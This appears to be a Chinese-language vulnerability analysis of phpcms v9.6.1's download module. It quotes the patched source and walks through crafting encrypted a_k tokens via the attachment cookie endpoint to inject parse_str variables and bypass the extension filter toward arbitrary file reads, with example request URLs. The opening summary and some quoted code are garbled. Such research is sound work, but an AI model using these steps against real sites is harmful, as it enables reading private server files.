摘要:中是對(duì)稱加密且在不知道的情況下理論上不可能構(gòu)造出有效密文。而且這句話是新增的,更加確定了,這個(gè)漏洞是特有的。通過對(duì)進(jìn)行控制,間接控制等變量完成漏洞的利用。馬上對(duì)進(jìn)行全文搜索,并且查找符合下列條件的上下文。的觸發(fā)條件盡可能的限制小。
看到網(wǎng)上說出了這么一個(gè)漏洞,所以抽空分析了下,得出本篇分析。
1.準(zhǔn)備工作&漏洞關(guān)鍵點(diǎn)快速掃描 1.1前置知識(shí)這里把本次分析中需要掌握的知識(shí)梳理了下:
php原生parse_str方法,會(huì)自動(dòng)進(jìn)行一次urldecode,第二個(gè)參數(shù)為空,則執(zhí)行類似extract操作。
原生empty方法,對(duì)字符串""返回true。
phpcms中sys_auth是對(duì)稱加密且在不知道auth_key的情況下理論上不可能構(gòu)造出有效密文。
1.2 快速掃描先diff下v9.6.0和v9.6.1,發(fā)現(xiàn)phpcms/modules/content/down.php中有如下修改:
--- a/phpcms/modules/content/down.php +++ b/phpcms/modules/content/down.php @@ -14,12 +14,16 @@ class down { $a_k = sys_auth($a_k, "DECODE", pc_base::load_config("system","auth_key")); if(empty($a_k)) showmessage(L("illegal_parameters")); unset($i,$m,$f); + $a_k = safe_replace($a_k);^M parse_str($a_k); if(isset($i)) $i = $id = intval($i); if(!isset($m)) showmessage(L("illegal_parameters")); if(!isset($modelid)||!isset($catid)) showmessage(L("illegal_parameters")); if(empty($f)) showmessage(L("url_invalid")); $allow_visitor = 1; + $id = intval($id);^M + $modelid = intval($modelid);^M + $catid = intval($catid);^M $MODEL = getcache("model","commons"); $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]["tablename"]; $this->db->table_name = $tablename."_data"; @@ -86,6 +90,7 @@ class down { $a_k = sys_auth($a_k, "DECODE", $pc_auth_key); if(empty($a_k)) showmessage(L("illegal_parameters")); unset($i,$m,$f,$t,$ip); + $a_k = safe_replace($a_k);^M parse_str($a_k); if(isset($i)) $downid = intval($i); if(!isset($m)) showmessage(L("illegal_parameters")); @@ -118,6 +123,7 @@ class down { } $ext = fileext($filename); $filename = date("Ymd_his").random(3).".".$ext; + $fileurl = str_replace(array("<",">"), "",$fileurl);^M file_down($fileurl, $filename); } }
主要修改了兩個(gè)方法init()和download(),大膽的猜想估計(jì)是這兩個(gè)函數(shù)出問題了。
public function init() { $a_k = trim($_GET["a_k"]); if(!isset($a_k)) showmessage(L("illegal_parameters")); $a_k = sys_auth($a_k, "DECODE", pc_base::load_config("system","auth_key"));//關(guān)鍵點(diǎn)1 if(empty($a_k)) showmessage(L("illegal_parameters")); unset($i,$m,$f); $a_k = safe_replace($a_k);//關(guān)鍵點(diǎn)2 parse_str($a_k);//關(guān)鍵點(diǎn)3 if(isset($i)) $i = $id = intval($i); if(!isset($m)) showmessage(L("illegal_parameters")); if(!isset($modelid)||!isset($catid)) showmessage(L("illegal_parameters")); if(empty($f)) showmessage(L("url_invalid")); $allow_visitor = 1; $id = intval($id); $modelid = intval($modelid); $catid = intval($catid); ...... if(preg_match("/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i",$f) || strpos($f, ":")!==FALSE || strpos($f,"..")!==FALSE) showmessage(L("url_error"));//關(guān)鍵點(diǎn)4 if(strpos($f, "http://") !== FALSE || strpos($f, "ftp://") !== FALSE || strpos($f, "://") === FALSE) { $pc_auth_key = md5(pc_base::load_config("system","auth_key").$_SERVER["HTTP_USER_AGENT"]."down"); $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, "ENCODE", $pc_auth_key));//關(guān)鍵點(diǎn)5 $downurl = "?m=content&c=down&a=download&a_k=".$a_k; } else { $downurl = $f; } }
public function download() { $a_k = trim($_GET["a_k"]); $pc_auth_key = md5(pc_base::load_config("system","auth_key").$_SERVER["HTTP_USER_AGENT"]."down");//關(guān)鍵點(diǎn)6 $a_k = sys_auth($a_k, "DECODE", $pc_auth_key); if(empty($a_k)) showmessage(L("illegal_parameters")); unset($i,$m,$f,$t,$ip); $a_k = safe_replace($a_k);//關(guān)鍵點(diǎn)7 parse_str($a_k);//關(guān)鍵點(diǎn)8 if(isset($i)) $downid = intval($i); if(!isset($m)) showmessage(L("illegal_parameters")); if(!isset($modelid)) showmessage(L("illegal_parameters")); if(empty($f)) showmessage(L("url_invalid")); if(!$i || $m<0) showmessage(L("illegal_parameters")); if(!isset($t)) showmessage(L("illegal_parameters")); if(!isset($ip)) showmessage(L("illegal_parameters")); $starttime = intval($t); if(preg_match("/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i",$f) || strpos($f, ":")!==FALSE || strpos($f,"..")!==FALSE) showmessage(L("url_error"));//關(guān)鍵點(diǎn)9 $fileurl = trim($f); if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L("illegal_parameters")); $endtime = SYS_TIME - $starttime; if($endtime > 3600) showmessage(L("url_invalid")); if($m) $fileurl = trim($s).trim($fileurl);//關(guān)鍵點(diǎn)10 if(preg_match("/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i",$fileurl) ) showmessage(L("url_error"));//關(guān)鍵點(diǎn)11 //遠(yuǎn)程文件 if(strpos($fileurl, ":/") && (strpos($fileurl, pc_base::load_config("system","upload_url")) === false)) { //關(guān)鍵點(diǎn)12 header("Location: $fileurl"); } else { if($d == 0) { header("Location: ".$fileurl);//關(guān)鍵點(diǎn)13 } else { $fileurl = str_replace(array(pc_base::load_config("system","upload_url"),"/"), array(pc_base::load_config("system","upload_path"),DIRECTORY_SEPARATOR), $fileurl); $filename = basename($fileurl);//關(guān)鍵點(diǎn)14 //處理中文文件 if(preg_match("/^([sS]*?)([x81-xfe][x40-xfe])([sS]*?)/", $fileurl)) { $filename = str_replace(array("%5C", "%2F", "%3A"), array("", "/", ":"), urlencode($fileurl)); $filename = urldecode(basename($filename));//關(guān)鍵點(diǎn)15 } $ext = fileext($filename);//關(guān)鍵點(diǎn)16 $filename = date("Ymd_his").random(3).".".$ext; $fileurl = str_replace(array("<",">"), "",$fileurl);//關(guān)鍵點(diǎn)17 file_down($fileurl, $filename);//關(guān)鍵點(diǎn)18 } } }
safe_replace函數(shù)如下
function safe_replace($string) { $string = str_replace("%20","",$string); $string = str_replace("%27","",$string); $string = str_replace("%2527","",$string); $string = str_replace("*","",$string); $string = str_replace(""",""",$string); $string = str_replace(""","",$string); $string = str_replace(""","",$string); $string = str_replace(";","",$string); $string = str_replace("<","<",$string); $string = str_replace(">",">",$string); $string = str_replace("{","",$string); $string = str_replace("}","",$string); $string = str_replace("","",$string); return $string; }1.2 content/down模塊大致流程分析
init方法中根據(jù)原始的$a_k(包含了file_down的文件的基本信息),進(jìn)行一次驗(yàn)證,并且生成,調(diào)用
download方法的url,url的schema為$downurl="?m=content&c=down&a=download&a_k=".$a_k(必須符合一定條件。)
download方法接收到$a_k,進(jìn)行解碼,解出文件信息,調(diào)用file_down($fileurl, $filename)( 必須符合一定條件)
我們來看下file_down函數(shù),第一個(gè)參數(shù)$filepath,才是實(shí)際控制readfile的文件名的變量,readfile可以讀取本地文件,所以我們構(gòu)造符合條件的$fileurl繞過上述的限制就可以完成本地文件的讀取功能!
function file_down($filepath, $filename = "") { if(!$filename) $filename = basename($filepath); if(is_ie()) $filename = rawurlencode($filename); $filetype = fileext($filename); $filesize = sprintf("%u", filesize($filepath)); if(ob_get_length() !== false) @ob_end_clean(); header("Pragma: public"); header("Last-Modified: ".gmdate("D, d M Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: pre-check=0, post-check=0, max-age=0"); header("Content-Transfer-Encoding: binary"); header("Content-Encoding: none"); header("Content-type: ".$filetype); header("Content-Disposition: attachment; filename="".$filename."""); header("Content-length: ".$filesize); readfile($filepath); exit; }1.2.1$fileurl變量構(gòu)造分析
如果我們要讀取站點(diǎn)的.php結(jié)尾文件,由于有關(guān)鍵點(diǎn)11存在,$fileurl中不能出現(xiàn)php,不過從關(guān)鍵點(diǎn)17可以看到進(jìn)行了替換
$fileurl = str_replace(array("<",">"), "",$fileurl);//關(guān)鍵點(diǎn)17
那么可以想到我們構(gòu)造出符合.ph([<>]+)p的文件后綴,最后會(huì)被替換成.php。而且這句話是9.6.1新增的,更加確定了,這個(gè)漏洞是9.6.1特有的。
再向上上看
if($m) $fileurl = trim($s).trim($fileurl);//關(guān)鍵點(diǎn)10
變量$m為真,那么我們可以通過引入變量$s來構(gòu)造$fileurl,且$fileurl由變量$f控制。
$fileurl = trim($f);
$a_k = safe_replace($a_k);//關(guān)鍵點(diǎn)7 parse_str($a_k);//關(guān)鍵點(diǎn)8
通過parse_str來extract變量,很容易的得出控制$i,$m,$f,$t,$s,$d,$modelid變量,看到這里我們可以構(gòu)造$a_k來控制這些變量。
1.2.2$a_k變量分析再向上看
$pc_auth_key = md5(pc_base::load_config("system","auth_key").$_SERVER["HTTP_USER_AGENT"]."down");//關(guān)鍵點(diǎn)6 $a_k = sys_auth($a_k, "DECODE", $pc_auth_key);
這個(gè)關(guān)鍵點(diǎn)6很重要,因?yàn)檫@里的$pc_auth_key幾乎是不可能暴力出來的,然而得到這個(gè)加密的$a_k只有在init()方法中使用了相同的$pc_auth_key。所以我們只能通過init()方法來構(gòu)造$a_k。
我們現(xiàn)在來看下init方法
$a_k = trim($_GET["a_k"]); if(!isset($a_k)) showmessage(L("illegal_parameters")); $a_k = sys_auth($a_k, "DECODE", pc_base::load_config("system","auth_key"));//關(guān)鍵點(diǎn)1
這里可以發(fā)現(xiàn)sys_auth的auth竟然是使用系統(tǒng)默認(rèn)的auth_key,直覺告訴我可能問題出在這里了,除了這個(gè)區(qū)別,init方法別的邏輯就不再贅述。
1.2.3小結(jié)總結(jié)一下:
index.php?m=content&c=down&a=init&a_k=想辦法構(gòu)造出符合條件的。
然后init方法會(huì)構(gòu)造出符合download方法中能夠解密的$a_k。
通過對(duì)$a_k進(jìn)行控制,間接控制$i,$f,$m,$s,$d等變量完成漏洞的利用。
2.漏洞挖掘過程 2.1 init方法所接受的$a_k構(gòu)造 2.1.1探索正常流程中的$a_k構(gòu)造過程對(duì)源碼進(jìn)行快速掃描,看看哪些地方能夠生產(chǎn)對(duì)init方法的調(diào)用,其實(shí)就是常規(guī)的下載模型的邏輯。
phpcms/modules/content/fields/downfile和phpcms/modules/content/fields/downfiles中會(huì)生成init方法的$a_k
function downfile($field, $value) { extract(string2array($this->fields[$field]["setting"])); $list_str = array(); if($value){ $value_arr = explode("|",$value); $fileurl = $value_arr["0"]; if($fileurl) { $sel_server = $value_arr["1"] ? explode(",",$value_arr["1"]) : ""; $server_list = getcache("downservers","commons"); if(is_array($server_list)) { foreach($server_list as $_k=>$_v) { if($value && is_array($sel_server) && in_array($_k,$sel_server)) { $downloadurl = $_v[siteurl].$fileurl; if($downloadlink) { $a_k = urlencode(sys_auth("i=$this->id&s=$_v[siteurl]&m=1&f=$fileurl&d=$downloadtype&modelid=$this->modelid&catid=$this->catid", "ENCODE", pc_base::load_config("system","auth_key"))); $list_str[] = "{$_v[sitename]}"; } else { $list_str[] = "{$_v[sitename]}"; } } } } return $list_str; } } }
但是分析發(fā)現(xiàn),content_input和content_output邏輯中權(quán)限驗(yàn)證和限制邏輯比較完善,基本不存在利用可能。
2.1.2 黑科技構(gòu)造$a_k由于是sys_auth是對(duì)稱加密,那么能不能找個(gè)使用相同密鑰生成的地方來生成,對(duì)sys_auth進(jìn)行全文搜索,我們找找有沒有符合下列條件的上下文
方式是ENCODE
Auth_key是系統(tǒng)默認(rèn)的即:pc_base::load_config("system","auth_key")
且待加密內(nèi)容是可控的(可以是我們$_REQUEST的數(shù)據(jù),或者可以構(gòu)造的)
加密后的數(shù)據(jù)有回顯的。
共找到58個(gè)匹配項(xiàng),但是沒有符合上下文的,不過我們可以注意到
public static function set_cookie($var, $value = "", $time = 0) { $time = $time > 0 ? $time : ($value == "" ? SYS_TIME - 3600 : 0); $s = $_SERVER["SERVER_PORT"] == "443" ? 1 : 0; $var = pc_base::load_config("system","cookie_pre").$var; $_COOKIE[$var] = $value; if (is_array($value)) { foreach($value as $k=>$v) { setcookie($var."[".$k."]", sys_auth($v, "ENCODE"), $time, pc_base::load_config("system","cookie_path"), pc_base::load_config("system","cookie_domain"), $s); } } else { setcookie($var, sys_auth($value, "ENCODE"), $time, pc_base::load_config("system","cookie_path"), pc_base::load_config("system","cookie_domain"), $s); } } public static function get_cookie($var, $default = "") { $var = pc_base::load_config("system","cookie_pre").$var; return isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], "DECODE") : $default; }
param::set_cookie param::get_cookie 對(duì)cookie加密是使用默認(rèn)的auth_key的。
馬上對(duì)set_cookie進(jìn)行全文搜索,并且查找符合下列條件的上下文。
set_cookie的內(nèi)容是可控的。
set_cookie的觸發(fā)條件盡可能的限制小。
一共找到122個(gè)匹配項(xiàng),找到了兩個(gè)比較好的觸發(fā)點(diǎn)。
phpcms/moduels/attachment/attachments.php中的swfupload_json/swfupload_del方法和phpcms/modules/video/video.php中的swfupload_json/del方法
video模塊需要管理員權(quán)限,就不考慮了,attachment模塊只要是注冊用戶即可調(diào)用。
我們來看下swfupload_json
public function swfupload_json() { $arr["aid"] = intval($_GET["aid"]); $arr["src"] = safe_replace(trim($_GET["src"])); $arr["filename"] = urlencode(safe_replace($_GET["filename"])); $json_str = json_encode($arr); $att_arr_exist = param::get_cookie("att_json"); $att_arr_exist_tmp = explode("||", $att_arr_exist); if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) { return true; } else { $json_str = $att_arr_exist ? $att_arr_exist."||".$json_str : $json_str; param::set_cookie("att_json",$json_str); return true; } }
我們可以通過src和filename來構(gòu)造,最終我選的是src,最終形式會(huì)是一個(gè)json串,當(dāng)然有多個(gè)會(huì)以"||"分割。
我們注冊個(gè)用戶登錄之后,調(diào)用
index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=fobnn
產(chǎn)生的數(shù)據(jù)會(huì)是
{"aid":888,"src":"fobnn","filename":""}
然后我們得到response.header中的set-cookie ["att_json"]。
1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz
我們修改下down.php->init方法,把DECODE之后的$a_k輸出來。
然后我們調(diào)用
index.php?m=content&c=down&a=init &a_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz
激動(dòng)人心,init方法成功DECODE了$a_k
好了目前驗(yàn)證了我們的想法可行,接下來應(yīng)該構(gòu)造可用的payload了。
2.2 json和parse_str目前要解決的就是 從json中parse_str并且能夠解析出$i,$m,$f等變量。
{"aid":888,"src":"fobnn=q&p1=12312","filename":""}
解析{"aid":888,"src":"fobnn=q 和p1=12312","filename":""}
說明parse_str還是解析還是可以實(shí)現(xiàn)的,前后閉合一下,中間填充我們需要的變量即可,例如
{"aid":888,"src":"pad=x&fobnn=q&p1=12312&pade=","filename":""}
那么fobnn和p1就是正常解析的,src需要URLENCODE提交,這樣不會(huì)導(dǎo)致php解析錯(cuò)誤。
2.3 構(gòu)造符合init方法的$a_k我們先構(gòu)造一個(gè)符合init方法的$a_k使得能完成正常的流程。
if(isset($i)) $i = $id = intval($i); if(!isset($m)) showmessage(L("illegal_parameters")); if(!isset($modelid)||!isset($catid)) showmessage(L("illegal_parameters")); if(empty($f)) showmessage(L("url_invalid")); $allow_visitor = 1; $id = intval($id); $modelid = intval($modelid); $catid = intval($catid);
構(gòu)造pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=用來滿足條件。
index.php?m=attachment&c=attachments&a=swfupload_json&aid=1 src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d
得到
3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ {"aid":1,"src":"pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=","filename":""}
然后提交
index.php?m=content&c=down&a=init &a_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ
成功!頁面已經(jīng)生成了調(diào)用download方法的url